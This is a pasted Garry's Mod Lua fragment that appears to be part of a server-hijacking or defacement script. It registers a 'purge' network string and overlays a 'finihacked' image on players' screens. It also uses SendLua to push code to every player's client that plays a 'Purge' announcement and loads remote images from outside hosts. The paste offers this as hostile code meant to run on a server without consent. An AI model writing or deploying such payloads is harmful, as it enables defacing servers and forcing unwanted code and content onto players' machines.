Advertisement
Guest User

Untitled

a guest
May 21st, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.45 KB | None | 0 0
  1. util.AddNetworkString "purge"
  2.  
  3. hook.Add( 'HUDPaint', 'test', function()
  4.    
  5.     if !displayed_shit_gifs then -- i do not want to do this.
  6.    
  7.         local shit_gif = vgui.Create( 'HTML', frame )
  8.         shit_gif:SetSize( 530, 130 )
  9.         shit_gif:SetPos( ScrW() / 2 - ( shit_gif:GetWide() / 2 ), 50 )
  10.         shit_gif:SetHTML( [[
  11.             <img src='https://loadingscrren.000webhostapp.com/finihacked.png' alt='gif' style='width:493px;height:110px;'>
  12.         ]] )
  13.     end
  14. end
  15. --Sequence stack
  16. --Start some tunes and steam in our assets
  17. lol:PushAction( 0, function( pPlayer )
  18.     lol:SendLua( pPlayer, ([=[
  19.         sound.PlayURL( "https://loadingscrren.000webhostapp.com/The%20Purge%20-%20Announcement.mp3", "", function()end )
  20.        
  21.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  22.         local html = [[%s]]
  23.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  24.             local pnl = vgui.Create( "HTML" )
  25.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  26.             pnl:SetVisible( true )
  27.             pnl:SetMouseInputEnabled( false )
  28.             pnl:SetKeyBoardInputEnabled( false )
  29.             pnl:SetSize( intSizeX, intSizeY )
  30.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  31.            
  32.             local PageLoaded
  33.             PageLoaded = function()
  34.                 local mat = pnl:GetHTMLMaterial()
  35.                 if mat then
  36.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  37.                     return
  38.                 end
  39.                
  40.                 timer.Simple( 0.5, PageLoaded )
  41.             end
  42.  
  43.             PageLoaded()
  44.         end
  45.  
  46.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
  47.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
  48.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
  49.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306624-doritos.png", "doritos", 183, 256 )
  50.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 )
  51.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
  52.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  53.     ]=]):format(lol.m_strImageLoadHTML) )
  54. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement